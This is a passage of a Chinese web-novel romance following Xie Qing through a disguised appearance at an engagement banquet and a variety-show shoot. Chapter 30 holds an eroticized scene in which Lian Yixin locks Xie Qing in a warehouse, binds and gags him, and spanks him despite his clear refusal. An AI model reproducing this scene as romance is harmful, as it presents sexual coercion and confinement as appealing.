谢清因为害怕身份露馅,能不说话就尽量不说话,男人教了他基础的舞步,过程中他不小心又踩到男人几次,对方也没有介怀,反而夸他学得快。 男人问了他的姓名,谢清说了林小姐的身份,之后有些走神,忘记反问男人。 他看到秦屿托着方歆雅在音乐中旋转,碎片的记忆又不合时宜的浮现出脑海。 那段记忆是在夜里,有天他和秦屿一起看完话剧,回家的路上下起了小雨,但他心情很愉快,拒绝秦屿给他撑伞,一边哼着雨中曲一边模仿话剧里的经典旋转动作,绕着一座路灯转圈。 秦屿看着他笑,雨幕中,他的表情有淡淡的伤感。 秦屿说:“宝宝,如果我必须要离开你一段时间,你会等我吗?” 谢清想不起来自己当时说了什么,只记得当晚他们曾大吵一架,然后他就提了分手。 他假装睡着了以后,秦屿还一直在他耳边说对不起。 谢清突然翻身坐起来抱住了秦屿:“你如果答应永远不离开我,我就和你和好。” 得到的回应还是三个字: “对不起。” “啊,对不起!”谢清又一次踩到了男人。 “没关系的。” 在璀璨的宴会灯光下,男人每一步都显得从容不迫,剪裁得体的西装颜色既不张扬也不沉闷,他扶着谢清的腰,镜片后的双眼闪烁着难以捉摸的光芒。 不知不觉,周围的目光几乎都聚集他们的身上,郎才“女”貌,十分养眼,连订婚宴的两位主人翁都被抢了风头,可这个男人好像没有觉察,又或者早就习惯了瞩目,目光直勾勾落在谢清身上。 “林小姐,你好像总是在看小秦总?我斗胆一猜,林小姐对这场订婚宴并不满意?” 谢清被说中了心事,舞步愈发不修边幅起来。 男人轻轻一笑:“那我们或许可以成为同盟哦?” 谢清终于抬起眼睛看向男人。 男人继续感慨:“小秦总真是命好,全家人都疼他,说不继承家业就可以随便想学什么学什么,一改变主意说要接手,马上又能获得方家这样的助力,你说,世界是不是不太公平?” 谢清莞尔:“你的家世背景应该也不差,在这里大谈公平,是不是有点凡尔赛?” 男人并不介意他的攻击性,反而笑容更大:“人都是贪心的嘛,不患寡而患不均。我记得林小姐家中还有个妹妹?如果父母疼爱妹妹比疼爱你多一些,你会不会觉得不公平?” 谢清耸耸肩:“不是我的,注定就不是我的。” “林小姐,很多东西是要靠自己争的。” 谢清侧头看了宴会主角一会儿:“秦屿也不想结这个婚吧,听说方歆雅也是身不由已的,你这么不满意,干嘛不拆散他们呢。” 男人挑眉:“坦白讲,我的确想这么做。秦屿既要又要,我没他那么矫情。方家这么好的联姻对象,他不想娶,我倒是很想娶。可惜这场婚事,都是长辈说了算。” 谢清沉默了一会儿:“我以为你喜欢方小姐呢。” “对婚姻来说,喜不喜欢的不重要。” 谢清不置可否地转开了视线:“可惜你和我说这些也没用。” “那不见得啊?”男人循循善诱,“林小姐,你们家和方家不是世交么?既然你喜欢小秦总,而我想娶方小姐,不如我们合作?” “谁说我喜欢那家伙了?”谢清又郁闷又有点心虚。原来男人殷勤了这么半天,是看中林小姐的背景啊?这万一让他发现自己不是林小姐,还听到了这么多不该听的,岂不是要遭大殃。 男人没察觉谢清的不自在,倒是注意到秦屿那边有动作了。他观察了会儿,轻轻在谢清耳边笑:“我本以为你是单相思,不过你看,小秦总好像也在不断像我们靠近呢?林小姐,你真是让我有点意外,下一段要交换舞伴了,记得要回来找我哦。” 男人话音刚落,舞曲就变了调,所有跳女步的宾客被男伴拉着手腕旋转一周,松开了手,顺势就来到了新的舞伴面前。 谢清完全没反应过来,就被抛了出去,而秦屿迫不及待勾住了他的腰,成为了他的新舞伴。 “宝宝,你为什么和他跳舞啊!故意气我吗?” 一搂住他,秦屿就气鼓鼓吃起了醋。 谢清转了一圈还有点头晕:“谁?他?他谁啊?” 秦屿色厉内荏地掐了把他的腰:“还有谁,你勾引未遂的男人。” “谁勾引他了?”谢清翻了个白眼,“倒是你,和方小姐跳舞很开心嘛?” 秦屿一下没了底气:“……宝宝,我保证不会和她结婚的。” “可我看她很乐意嘛?” “她那是不知道哪根筋搭错了!之前我和她说的好好的,应付一下长辈然后就取消婚约,谁知道她今天……” 谢清哼道:“她是大明星,当然要考虑自己的名誉了,又不像你。你以后别叫我老婆,我本来也不是你老婆。” 谢清已经记住了舞步,却还是故意踩了秦屿好几下。在下一次交换舞伴的时候,他头也不回地甩开了秦屿。 戴眼镜的男人重新接住了谢清,笑得很儒雅:“你们聊的好像不开心。” “哪里,我开心得很。” 男人:“他有没有告诉你我的身份。” “你什么身份?” “看来是没有了。”男人笑了笑,“你可以叫我Ethan,我适才的提议你觉得如何?” “不如何。”谢清说,“我从不挽留男人,何况是一个要结婚的男人。” “那真是可惜,不过我也不强人所难。”Ethan仍然挂着得体的微笑,“对了,听说林小姐上个月还和谢氏的那位大少爷相过亲?” 谢清直接平地一扭,险些当众摔个大马趴,还好男人把他拦腰接住:“没事吧林小姐?” “没、没事,哈哈。”相亲?谢呈冰相亲了?他怎么不知道? 真行,他哥一边自己相亲,一边阻止他谈恋爱。太不讲理了! Ethan见他忿忿不平,问:“是不太顺利吗?” 谢清:“那个死冰块,谁能看上他!我看上他弟弟还差不多。” Ethan笑起来:“他弟弟?你说谢氏的那个养子啊,成天玩物丧志,一点出息也没有。林小姐的眼光未免太差了,哦,不过也难怪,你都能看上秦屿。” 谢清瞪了他一眼,水是眼波横,倒让Ethan略微怔了怔。 “他那是不愿争,人各有志,再说他哥哥不是对他很好吗,换成是你,这样还不知足吗?” 谢清努着嘴看他:“你叹什么气?” “叹林小姐和那谢氏养子一样,一样的天真感性。亲兄弟还要明算账,更何况不是亲的,谢怀章死了,谢呈冰接管了集团,那个养子又得到了什么?他就算现在再要争,恐怕也晚了,你刚才说换成是我,要是我,就不会让自己落到这种没有后路,只能仰人鼻息的地步。” 谢清脸上的血色渐渐褪去,可Ethan没有察觉,还在感慨:“去年他们家不就已经发生了兄弟财产之争?” 谢清声音变低:“可是我听说,谢清回了谢家,他哥哥也没把他怎么样。” “你我能看到的不都是表面?我猜要不了多久,谢家还是会出事。” 谢清头又是一晕。 对,男人说对了,已经出事了。他只是想听听有人告诉他,这也许不是什么大事,只是兄弟间正常都会有的争吵,很容易和好的。 想听人肯定他,就算一辈子依赖哥哥,也没什么啊,谁说这样是愚蠢的? 想听人侧面证明,谢呈冰看上去冷血,其实很讲感情的,养子也是弟弟,怎么就非得争了。 可惜,一句也没听到,净是不爱听的。 谢清抖着嘴唇说:“也不能说他没有后路吧,谢家老太爷不是很疼那个养子吗?由他老人家出面,说不定什么矛盾都可以调解好的。” “也是。”终于,Ethan给出了肯定的回答。谢清眼睛一亮:“是吧?你也觉得?” Ethan点头:“是啊,听说谢老爷子昨天已经回国了,如果那个养子稍微有点脑子,谢氏集团,没准真会大换血呢。” “什么?!爷……谢老爷子已经回国了?”谢清一激动,差点说漏嘴。 爷爷回国了,如果他哥还肯听爷爷管教,那他是不是可以回家,是不是能和谢呈冰和好如初呢? 谢清一会儿期许,一会儿忧郁,一颗心上上下下,早就飞出了宴会厅外。Ethan不禁问:“林小姐是有什么烦恼?” “唔……没什么,只是也想到了自己的家人。”谢清晃晃脑袋,抬头展颜一笑,“算啦,车到山前必有路吧。” Ethan伸手替他调整了一下黑纱礼帽,发自真心地短促一笑:“林小姐,若是秦屿和方家小姐的婚姻注定破坏不了,不如我们两个结婚吧。” “啊??” “林家对我来说也是不错的选择,你比我想象的有趣多了。林小姐觉得我怎么样?哦,对了,我其实就是……” “他才不和你结婚!!”秦屿突然冲上来分开了他们两个,拽住谢清的手退开两步,“你真是够了,什么都要抢我的吗?!” 头顶的音乐还在继续,可舞池里的男女逐渐都停下了舞步投来目光,谢清和方歆雅都处于一脸懵的状态。 Ethan从容地看着秦屿:“抢你的?秦屿,谁抢谁的东西比较多一些呢?” 方歆雅皱眉:“阿屿你突然这是干什么?” 谢清也在用力从秦屿掌中抽手,低声:“松开,你发什么疯?所有人都看着呢,我,我不能被认出来……” 秦屿闻言稍稍冷静了一点,手劲一松,谢清就挣脱开,退到了一边。 秦屿在原地站了十几秒,突然好像下定了什么决心,朝着主持台上大步走去。 他拾起麦克风,试了两声音量:“各位来宾,感谢你们今天的到来。我是秦屿,有一件事要和大家宣布。这个晚宴……” Ethan在台下冷眼瞧着,方歆雅已经大惊失色,催促场外的保安:“上去拦住他!” 秦屿:“这个晚宴并不是我的订婚宴。我和方小姐各自单身,并没有订婚或者结婚的打算,望悉知!” “疯了,真是疯了!”方歆雅在下面大骂。 宾客交头接耳,保安阵脚大乱。谢清预感情况不妙,左右看看,悄然退出了纷纷攘攘的人群。 在场的新闻娱乐记者闻到了头条的味道,争先恐后激动地往前挤,不一会儿宴会厅就乱成一团。 谢清压低了礼帽,祈祷没有被拍到,逆着人流逃了出去。 第30章 第 30 章 秦屿当众退婚的事情还是上了头版。 热搜里, 方歆雅面对镜头笑得大方得体:“咦?悔婚?没有啦,其实订婚本来就是误会来的……” 谢清关掉视频,由衷钦佩大明星的心理素质。 佩服完, 他就更加烦恼了。 起因是代拍大哥帮他要到了一个群演名额,谢清一听酬劳, 果断答应了。 今天来了现场才知道,综艺嘉宾里还有方歆雅。 导播跟他们群演核对剧本的时候, 方歆雅就坐在阴凉处用宛如杀人的眼神死死盯着他。 方歆雅一眼就认出了他是昨天的女宾客, 也许她昨天就打听了他的姓名, 得知是“林小姐”以后必然就知道他是假冒的。 没想到冤家路窄,今天就重逢了。 宋岩打从昨天在宴会上被保安追着跑了以后, 一夜未归,到现在都联系不上。谢清合理怀疑他是被秦家或者方歆雅的人给扣住了。 后者可能性更大, 毕竟秦屿不看僧面看佛面,不至于让宋岩连他的消息都不回。 没有宋岩,等于损失了全部战斗力, 谢清也不知道自己什么时候可能就被抓回家了。他想上去和方歆雅求求情, 又不敢。 节目组给了他一只兔子,让他一会儿开始拍摄后,进明星开的小卖部问方歆雅买兔粮。 这个综艺是个明星在乡村开杂货店的设定,主打温馨感人, 他要扮演一个进去刁难嘉宾的路人甲, 先把方歆雅为难一通, 中间兔子丢了, 方歆雅帮他找, 最后两人化干戈为玉帛,来段包饺子式标准和解。 他这边没什么难的, 大哥说节目组会给提词器,念的别太生硬就行。 倒是方歆雅要演出被无理客人气哭、独自消化委屈、孤立无援、重振旗鼓、感受到普通打工人的不容易等等复杂情绪,看来拍个真人秀也不比拍戏简单。 谢清走进镜头以后,导演突然喊停:“谁找的群演?自己看看这像普通村民吗?” 谢清抱着兔子愣愣回头看着导演,想着到手的酬劳是不是要拱手他人了。 放大的镜头里,兔耳朵一抖,谢清的眼睛也无辜眨巴两下。 周围沉默了一会儿,导演又说:“算了,就他吧。” 谢清按照剧本进了小卖部,说要买兔粮。 节目组为了体现嘉宾们条件艰苦,安排方歆雅蹲在台阶上吃简陋的盒饭。 “您好,欢迎光临希望杂货铺,需要点什么?”方歆雅看见客人走进来,迅速起身,发挥了十足的演技对他绽放出热情好客的微笑,还不忘非常细节的用手在衣服上蹭了蹭,想放下盒饭,但又饿的吞咽两下,没舍得。 好精湛的表现力。 谢清有点紧张,稍显磕绊地念着提词器上的台词,扮演无理取闹地客人。 方歆雅大概也是真看他不顺眼,特别流畅的走到了吵架流程。 问题得不到解决,镜头给了方歆雅一个无助的特写,然后她绕到柜台后面给其他嘉宾打电话求助。 “忆心啊,你们在哪儿?店里现在就我一个,遇到一点问题……” 她一叫这个名字,谢清吓一跳,慌乱地瞟提词器,确认后面没有其他人出场的安排。 果然,电话求助好像不顺利,方歆雅挂掉电话沉思。 谢清就继续拍了拍桌子:“客人还没走呢,你就把我晾在这儿啊?” “那您到底想怎么样嘛!” 吵到白热化的时候,谢清看了眼她的盒饭。 按照剧本,他要在盛怒之下掀翻方歆雅的盒饭,接着方歆雅就愣愣地看着地上的米饭,委屈地掉下眼泪。 谢清很佩服这个编剧,他都能想象到镜头打在那一地的盒饭上,后期配什么样的音效和文字。 但是那盒饭真的闻起来挺香的,方歆雅是不是演的他不知道,他是真闻饿了。 好几次瞄准了盒饭打算下手,都因为犹豫错失了良机。 方歆雅自由发挥的台词太密,让谢清有点接不上,只能中气不足地喊:“你瞎嚷嚷什么呀!你是不是老板啊?会不会做生意啊?” 他倾尽全力拿出了挑事的气势,不想方歆雅真的克制不住脾气,大声道:“我不行你来!” 然后抬手自己摔了盒饭。 饭菜倒扣在地上,有几滴汤汁还溅到了谢清的裤子上,谢清下意识一抖,怀里的兔子都被吓得跳了出去。 谢清心疼地低头看着自己的裤子,提词器上是:方歆雅(委屈):XXX 现实里,谢清:委屈,呆滞,无助。 监视器后面,导播清脆地拍了拍光秃秃的大脑门:“这……要重来吗?” 制片摸了摸下巴:“这样也挺有效果的,那兔子反应很真实啊。” 把方歆雅受欺负改成方歆雅忍不住向路人发脾气,话题度好像会更高呢,也不影响之后的包饺子剧本。 于是录制没有暂停。 “怎么了歆雅?发生什么状况?” 店门外传来“救星”的声音,杂货铺的其他嘉宾竟然赶了回来,谢清身体一僵,难以置信地回头。 连忆心和另外两个明星匆匆走了进来。 导播也奇怪:“忆心怎么回来了?他不是在玉米棚那边拍摄吗?” “算了,来就来了吧,等下提醒忆心去仓库里面待着,后面的剧本不能有他。” 谢清匆忙扭头,然而已经迟了,他感觉到一双有力的手按在了自己肩上,连忆心微笑着来到了他身边:“是客人吗?这边是不是有什么误会,大家别吵,客人您需要什么帮助?” 导播拿着喇叭在场外说:“群演,发现自己兔子丢了。” 谢清硬着头皮往下演:“啊,我的兔子呢?你们看到没有?刚刚我还抱着的。” 那兔子正好好待在饲养员的笼子里呢。 “什么样的兔子?你别急,不会丢的,我们一起找。”嘉宾们立刻开始帮他找兔子,后面有一段方歆雅的心里话环节,他这个群演可以暂时退场了。 谢清低着头与方歆雅擦肩而过,方歆雅抱着胸睥睨着他,故意伸出脚,谢清猛地一绊,连忆心正好迎面走过来,张开手臂接住了他。 谢清从他怀里慌乱起身,如避蛇蝎一样迅速闪到一边。 连忆心笑着对方歆雅点头:“歆雅姐,没想到你人这么好,谢谢你。” 方歆雅:?? 他上去追谢清,工作人员从后面把他叫住了:“连老师,等下你的安排是……” 谢清走出去,忽然想起什么,折返回来拍拍方歆雅的肩:“方小姐,昨天和我一起的那个小三……” 方歆雅怒视:“干嘛?找事?我问你,你到底是谁?和阿屿是什么关系?你该不会才是阿屿的心上人吧?” 谢清:“误会,都是误会。你昨天不是见过他心上人了嘛!其实我是想问……那个人怎么样了?你,你把他抓了吗?” “是又怎样!我真是没想到,抓了那个,还有你这条漏网之鱼!破坏了我的订婚宴,你是不是很得意啊?” “那怎么可能?这可完全不是我本意啊,你听我说……” “在说什么?”连忆心重新凑了过来,手臂像一条毒蛇似的攀上了谢清的手腕。 方歆雅高傲地一甩头发:“我还要拍摄,群演给我闪开。” 谢清还想求情,连忆心微笑着将他死死拽住:“你跟我来。” 连忆心把他拽进了仓库。 “又被我抓住了,宝宝。”仓库门一关,连忆心就露出天真而残忍的笑容。 “宝宝裤子怎么被弄脏了啊?来,坐在这儿,我帮你脱掉。” 谢清举目四顾,像一只误入虎口的可怜兔子,连忆心笑:“放心,这里面没监控。” 然而他却掏出了手机,架在支架上,点开录像模式。 谢清警觉:“你要干嘛?” “不干什么呀,就是见你裤子脏了,想帮你脱掉拿去洗。别担心,我有换洗的,借给你穿。” 连忆心背过身进到仓库里面,蹲下去在一个杂货箱里翻找。 谢清看他语气很寻常,不像要发疯,但心情还是很忐忑:“不、不用了吧,你在录制节目,我就不打扰你了。” “怎么会是打扰呢?我们分开了这么久,也该坐下来叙叙旧了,你说是吧?” 谢清走上去把他录制中的手机点掉,连忆心只是回头看了一眼,没什么太大反应。 “宝宝别急,等我一会儿。” 谢清看他真的可以沟通,挑了个箱子坐下,对着他的背影认真说:“我不知道你想开了没有,你看,你有你的事业,这样挺好的。上回的事……我没和你说清楚就走,我和你道歉,但当时的情况你也能理解吧。” “嗯,”连忆心从箱子里拿出了几样东西,光线太黑,看不清是什么,他还在继续翻找,“你继续说。” 谢清:“这次我就说清楚一点,我确实不记得我们俩的过去了,我想了下,你这么执着,是不是我们分手分的比较难看?我愿意补偿你,大家都是成年人了,好聚好散,你说是吗?” “不用补偿,我不怪你。”连忆心终于找齐东西,站了起来。 谢清也松了口一气:“真的?太好了,你能想通就好。那就这样吧,不用帮我洗裤子,我出去找兔子了。” 谢清起身走到仓库门口,拧了半晌,却发现门纹丝不动。 寒意顺着脊椎爬上来,他骤然回身,慌张显露无余。 连忆心与他四目相对,那双眼睛里,危险与温柔交织:“我从来不怪你,只是,我上回也说了,不会放过你,宝宝,难不成你又失一次忆?” 谢清终于看清了连忆心手里拿的都是什么,绳子、戒尺、藤条、X塞、口枷…… 谢清腿一软:“你、你??这儿哪来这种东西?!” 连忆心呵呵一笑:“拍摄现场遇见你的那天网购的啊。物流很快呢,今天早上到的,多及时。” “那天……”谢清错愕,“你那天就认出我了?” “宝宝的眼睛那么漂亮,怎么会以为戴只口罩我就认不出呢?” 连忆心猛然扑过来按住了他的双手:“既然不愿意坐着好好说,那就吊起来吧。” 他突然发难,谢清仓皇之下只来得及狂拍了两下仓库门,就被他拿绳子死死绞住了手腕:“别乱动宝宝,我怕你疼。” “你怕我疼你就别唔唔&^%$^……” 连忆心把口球塞到他嘴里,再把绳子另一端系在货仓铁架上。 说要吊他,倒也没舍得真吊,连忆心在地上铺了厚厚的绒毯,让谢清趴着,褪去他的裤子,在摆放着的一众道具里精挑细选了一番,率先拿起一只皮制的戒尺,比划两下,啪一声打下去。 雷声大雨点小,可这实在太羞耻了,谢清尖叫一声,砧板上的鱼一样挣扎起来。 “要好好惩罚一下不听话的宝宝。”连忆心的眼底漫上一丝激动狂热,还有些许怜惜。 “里不素嗦不贵啊我吗……”谢清徒劳地扭来扭去,但连忆心每下都准准打在他屁股心,那里马上就红了起来,像一颗水蜜桃。 连忆心打了几下,扔开戒尺,用手温柔地给他揉:“是不怪你啊,看来宝宝失忆的真的很彻底呢,这不是我们俩的游戏嘛?你答应过陪我玩的。” 他这么一说,谢清还真的想起来一点。 连忆心这死变态的确有点非比寻常的癖好,他当时就是被“游戏”吓的说分手的,哪有答应陪他玩! 谢清被捆着逃也逃不掉,死鱼一样不动了,连忆心抬起他的头一看,谢清正默默掉眼泪呢。 “哭什么?我还没开始呢。”连忆心亲了亲他,又拿起了旁边那根藤条。 他手指轻轻滑过谢清颤抖的后背,像在欣赏一件易碎的艺术品。 “你总是这样不听话。”连忆心叹息着,声音温柔得令人心惊,“每次都要我来教你。” 连忆心的“教学”如雨落下,酥酥麻麻的感觉泛开,谢清居然有了些不对劲的反应,他又迷茫又惊慌,咬紧牙关,却还是不停泄露出呜咽。 连忆心似乎很享受谢清的反应,嘴角勾起一抹陶醉的微笑:“宝宝的每一个表情都那么动人,我真想把你永远锁在这里。” 泪水模糊了谢清的视线。连忆心俯下身,温柔地吻去他的泪水,动作轻柔得不可思议:“好啦,别哭,我舍不得看你哭。虽然你哭起来真美。” 谢清觉得自己像被困在蛛网中的蝴蝶,越是挣扎,束缚就收得越紧。连忆心的手抚过他发烫的皮肤,带来一阵令人战栗的凉意。 “这里也哭了好多水啊……乖,等下就让你更快乐。”连忆心的声音依旧温柔,却透着不容抗拒的意味。 外面,找兔子镜头拍的也差不多了,导演拿着喇叭四处喊:“群演呢?群演就位!” “真是的,懂不懂规矩啊!让所有人等!” 方歆雅也很不耐烦,她记得人是往仓库去了的,便绕到后面去找,仓库门不知为何关死了,不过她有钥匙。 开锁的时候,她听见里面似乎有奇怪的动静,手上的动作也凝固了,锁芯“卡塔”一声,她吞咽了一下,悄悄将门打开一条缝隙,屏气朝里面看去。 然后她就看到一颗白里透红的水蜜桃,连忆心弟弟平时那么温柔有礼貌的人,此刻居然在…… 谢清双手被红绳捆在货架旁,分不清是疼是爽的呜呜咽咽抽泣。 连忆心似有所感地回过头,冲她笑了一下。 方歆雅猛然合上大门,背靠着消化了一会儿,拔腿就跑开。跑出几十米,才将屏住的一口气吐了出来。 怎、怎么办?她冷汗直流。 30-40 第31章 第 31 章 连忆心从仓库里出去以后, 把门又加了一道新的锁。 谢清眼看着门口透出一道光,紧跟着那光又没了,心也跟着跌入谷底。 他“呜呜”地呼救了一会儿, 外面没有任何动静。也许他该庆幸没有人来,否则被人看到他现在这个样子, 他以后还怎么见人。 再后来谢清喊累了,眼皮打架, 加上底下的绒毯实在舒服, 不知不觉就睡了过去。 时间走过两个钟头, 仓库的锁哗啦啦晃动,接着被人撬开了, 黑暗中有人一步一步走到了谢清身边,俯下身, 微凉的手圈住了他的脚踝,接着摸着他的小腿一路向上。 “欣欣弟弟?”这人轻轻唤了声。 谢清在睡梦里紧皱着眉头,无意识呢喃了一下。 他感觉手上的宝石珠串似乎被人摘了下去, 接着身上有些湿润的触感, 直到后面红肿的地方被人碰了下,他一下子被疼清醒了。 他猛然坐起身,随即“嗷”地叫了声,趴了回去。 “清清, 没事吧?” 谢清再一抬头, 发现白年竟然蹲在他身旁, 正担忧地看着他。 “你怎么在这儿?”他环顾一圈, 发现自己还在仓库, 手上的红绳被解开了,腕上一圈红印子, 他揉了揉,宝石手串还在手上好好戴着。 “我打听到你在这边当群演,可是外面一直在找你找不到,怀疑是不是出什么事。幸好我找过来了,是谁把你绑在这里?” 谢清感觉白年的话所有隐瞒,福利院离拍摄地那么远,怎么打听到的?不过现在他根本不在意这个,他像抓住救命稻草一样的抓住了白年:“呜,年年哥哥……你快带我走,我不要当这个破群演了,这个钱就不是我该赚的……” “好,你能走吗?我背你吧。” 谢清把自己撑起来,才发现腿还光着,连忆心带走了他的裤子,他悲愤交加:“死变态!我造了什么孽才招惹上他……” 白年的手在他后面摸了一下,谢清一个激灵:“你干嘛啊!” 白年:“都红了。” 谢清脸色青一阵白一阵:“你、你今天就当什么都没看到!” 白年的眼神晦暗不明:“是连忆心吧。” “你怎么知道?”谢清一惊。 “我进来前,听见他和节目组的人说你已经走了。全场只有他一个看见你的下落,不过另一个女明星一直在往这边看,表情很奇怪,我顺着她的目光找过来的。” 谢清更加恐惧,女明星是指方歆雅吗?难道把他关仓库的事,她也参与了 “你和连忆心关系很好吗?”白年问。 “关系好我能被他关在这儿吗?!你提问前能不能动动脑子。”谢清一肚子怨气发泄到了白年身上,下意识里,白年还是小时候那个跟在他屁股后头的舔狗,会无条件顺应他从不生气。 “真是倒霉死了……再也别和明星沾上关系!连忆心就是个瘟神,每次遇到他都要遭殃。”谢清哭丧着脸咒骂。 白年扯了下嘴角:“说得对,以后离他远点。” 他提起毯子裹住谢清:“我抱你出去吧,趁现在外面没人。” 谢清这才稍微心情好转一些:“年年哥哥,谢谢你,幸好你来了,不然还不知道他要把我怎么样。” “有我在,不会让人欺负你的。”白年像小时候那样摸了摸他的头。 温馨气氛下一秒就被瘟神的脚步声打破了,仓库门“嘎吱”一声被人推开,连忆心印堂发黑的站在门口。 “我以为是谁,原来是你这只阴暗老鼠,白年,放开我的人。” 谢清一惊:“年年哥哥,你们认识?” “年年哥哥?叫的真好听,宝宝,你到底还有多少个好哥哥呢。” 白年冷着脸:“关你屁事。”一向文雅的他都爆粗口了,谢清不由呆呆看向他后脑勺。 虽然他站在后头看不见白年的表情,可通过连忆心那杀人的目光也知道,白年表情不会太好看。 谢清不安地往白年身后躲了躲。 白年立即从身后握住他的手:“别怕。” 不知是哪一幕激怒了连忆心,他一把掀翻了最近的一个货架:“白年,你找死?” 白年:“找死的是你。” 连忆心攥紧拳头,像要随时冲上来,阴沉的视线转过谢清,又转回白年脸上:“怎么,阿清刚才问你的话,你不打算回答吗?我们怎么认识的……” 这话让谢清的手微微一抖,不安加剧。白年将他握得更紧。 连忆心已经刻不容缓地讲了出来:“宝宝,他是连隐那老东西资助过的学生,是连家的门下走狗。据我所知他是个无利不起早的人,你可别被他骗了。” 谢清一怔。 白年:“连叔叔的确资助过我,那又能说明什么?” 谢清惶然失措地望着两人握在一起的手,白年和连隐认识?连隐上回给他递橄榄枝,他没有接,那之后不久他就遇到了白年,这是巧合吗? 连忆心:“宝宝,我知道他和你是同一家福利院出来的,不过以前我从来没听他提起过你,你可千万要当心啊。” 白年:“别听他胡说,我们是在面包店偶遇的,不是吗?以前的事我也没必要见人就说吧。” 谢清心乱如麻,从白年掌中抽出了手:“……那连家跟踪我、打伤岩哥的人,是谁派来的?你知不知情?” 连忆心闻言眉心一紧:“连家的人跟踪你?” 他陡然瞪向白年:“还用想,必然是这家伙有什么不为人知的阴谋诡计!” 白年:“我不知情。既然是连家的人,怎么会是我的阴谋?” “这话骗骗阿清还行,当着我的面骗?你以为我不知道你替连隐做事吗?谁知道你和那老东西想怎么设计阿清!宝宝,你快过来,来我身边。” 连忆心朝谢清伸出手。 白年也重新递过掌心:“别听他的,跟我走,他可是切切实实绑架你的人,嘴里能有什么好话。” “什么绑架,那是我和宝宝的情趣你懂什么?” 谢清:“谁跟你有那种情趣!” 连忆心:“总之宝宝你快过来,我看他才是要把你绑去谁都找不到的地方!” 谢清惊疑不定地看着白年。 白年露出受伤的表情:“你真的信他的鬼话怀疑我?欣欣弟弟,我们是竹马的情分,我怎么会害你呢?我今天是来救你的啊。” 连忆心恶狠狠道:“你怎么知道阿清在这里?呵,我就说他手上戴的那个破手链很眼熟,我想起来了,是你的脏东西!宝宝,那个里面肯定是有定位器!” 谢清脸色一变。 之前phantom的探测仪的确报过警,可后来又不响了,他就以为是故障,难道这个东西真的…… “不是这样,别听他的。”白年要去碰那个手串。 谢清猛地后退一步:“你别过来。” 白年不敢相信:“你真的怀疑年年哥哥?” 连忆心:“宝宝,拆了那手串一探究竟不就好了!” 谢清脱下手串攥在掌心,显得非常纠结,他很不想怀疑白年的,可是种种古怪的迹象又很难解释。 白年流露出恳求的神色:“别破坏它,欣欣弟弟,你知道的,那是我妈妈的遗物。” 谢清本想按连忆心说的当场拆开,闻言又犹豫了。 连忆心发现他心软,又气又急,趁二人僵持,一个箭步冲上去,抢走了宝石手串,然后用力一扯:“那犯傻了宝宝,就让我们看个清楚,到底谁在说谎!” 绳子扯断,五彩的宝石哗啦啦迸射到地上,连忆心捡起来挨个察看了一番,表情逐渐严肃。 没有?他居然猜错了吗? “还给我!”白年一把夺过断去的绳子和宝石,有几颗还滚到了谢清脚下,谢清捡起来一看,有一颗都摔碎了角。 白年神情悲痛,握着手串发呆。 谢清顿时内疚不已,慢吞吞把剩下几颗石头递给他:“年年哥哥,对不起,我,我不该怀疑你……” 白年红着眼睛摇了摇头:“你也是被他的花言巧语误导了。” 谢清生气地瞪了连忆心一眼:“我看那些人根本就是你派来的!还想诬赖别人!年年哥哥,我们走,别和他扯皮了。” 白年神情恍惚地点点头,被谢清拉着走向仓库大门,开门时,很不经意地回头,以一个充满恶意的眼神看了连忆心一眼,缓缓做口型说了三个字:“滚、远、点。” 连忆心怒道:“站住!” 谢清才不理他:“我们快走!” 但他一跑起来屁股就发痛,才跑两步就拧巴着五官停了下来:“呜……” 白年作势要背他,被追过来的连忆心抓住后衣领,一拳挥了上去。 那一拳白年完全可以挡住,却故意没躲,硬生生挨了这一下。 “年年哥哥!”谢清接住他晃荡的身体,更加厌恶地瞪着连忆心,“够了!你再这样我报警了!你粉丝知道你是这种人吗连忆心?!” 连忆心委屈不已:“宝宝,我……站住!不许走!你忘了你还有工作吗?今天的录制还剩一半呢,你工资不想领了?” 白年:“你缺钱我给你转,别管他。” 谢清点头:“我不录了!” “你以为你说不录就不录了,”连忆心指了指杂货铺对面,“节目组的人都在那儿,我喊一声他们就过来了,你上午录一半人消失不见,还敢一走了之?你的脸都被拍进去了,小心节目组搞你。” 谢清面色一白。 白年:“连大明星,让节目组放过他还不是你一句话,难道你想他被网暴?” “我当然不想啦,所以,宝宝,乖乖给我留下来,不准走!” 连忆心狠狠地瞪着他们两个:“这是我第二次叫你留下别走,你是知道我的,上一次你违背我,我只是略惩小戒,再来一次,就不是今天这种程度的惩罚了。” 不远处,节目组的人似乎已经注意到了他们三个。 “连老师怎么跑那儿去了?” “那不是那个失踪的群演吗?导演你看!” 谢清看到对面的人乌泱泱的过来就是一慌,白年也表情严肃:“连忆心!” 连忆心咬牙切齿:“别想走。” 过来了一个拿着脚本的人,看见谢清就凶巴巴地:“你跑哪儿去了!所有人都等你知不知道啊!一个群演还耍起大牌了?” 谢清小声地说:“我……我不想录了。” “你说不录就不录了?那损失的胶卷和时间你赔一下吧!”那人气道,“来,过来,你叫什么?” 连忆心:“导演,他没有不录的意思。” 制片人忽然也跑了过来,半道上就笑着招手:“哎哟哈,别吵了别吵了,不想录就不录了吧!” 他跑气喘吁吁跑到近前,对着谢清点头哈腰:“您是谢小少爷吧?您看,早说嘛,不想录就不录了嘛。” 准备发火的导演愣了,连谢清自己也愣了,制片人怎么认识他的? 他突然有种不好的预感。 白年也觉得情况不对,拉起他就说:“既然如此,清清,我们走。” 两人刚走出一步,横在对面的节目组的人就忽然如同摩西分海一样朝两边散开,保镖护送着一老一少两个人走出来。 谢清瞬间睁大了眼睛—— 谢呈冰,还有…… “爷爷?!” 不好的预感原来只对了一半,他不敢相信自己的眼睛,撇下白年就跑了过去:“爷爷你真的回来了?!” 保镖之中,谢清捕捉到了熟悉的身影,严恺冲他挑了下眉毛,仿佛在说:“不负所望,感激我吧。” 谢老爷子被养孙这么冲上来一抱,“哎哟”着往后仰,旁边谢呈冰赶紧伸手一扶,谢清醒悟过来,也扶住了爷爷,有些心虚地瞟了谢呈冰一眼。 谢呈冰也专注地看着他,眼睛一眨不眨,看不出是生气还是别的什么。 制片人在边上:“真是的,底下人不知道谢小少爷过来玩,才给安排这么一个群演,小少爷要是想,我们再增加一个嘉宾席位啊。” 白年和连忆心都在边上蹙着眉头看着突然出现的谢氏老少。 谢呈冰:“不必了。” 谢老爷子也说:“小清,爷爷亲自来接你了,肯回家了吗?” 连忆心满脸不快:“谢爷爷,他还不能走,他……” 制片大惊失色,连忙扯连忆心胳膊:“连老师,这是新来的投资人,出手可大方!你可别得罪!” 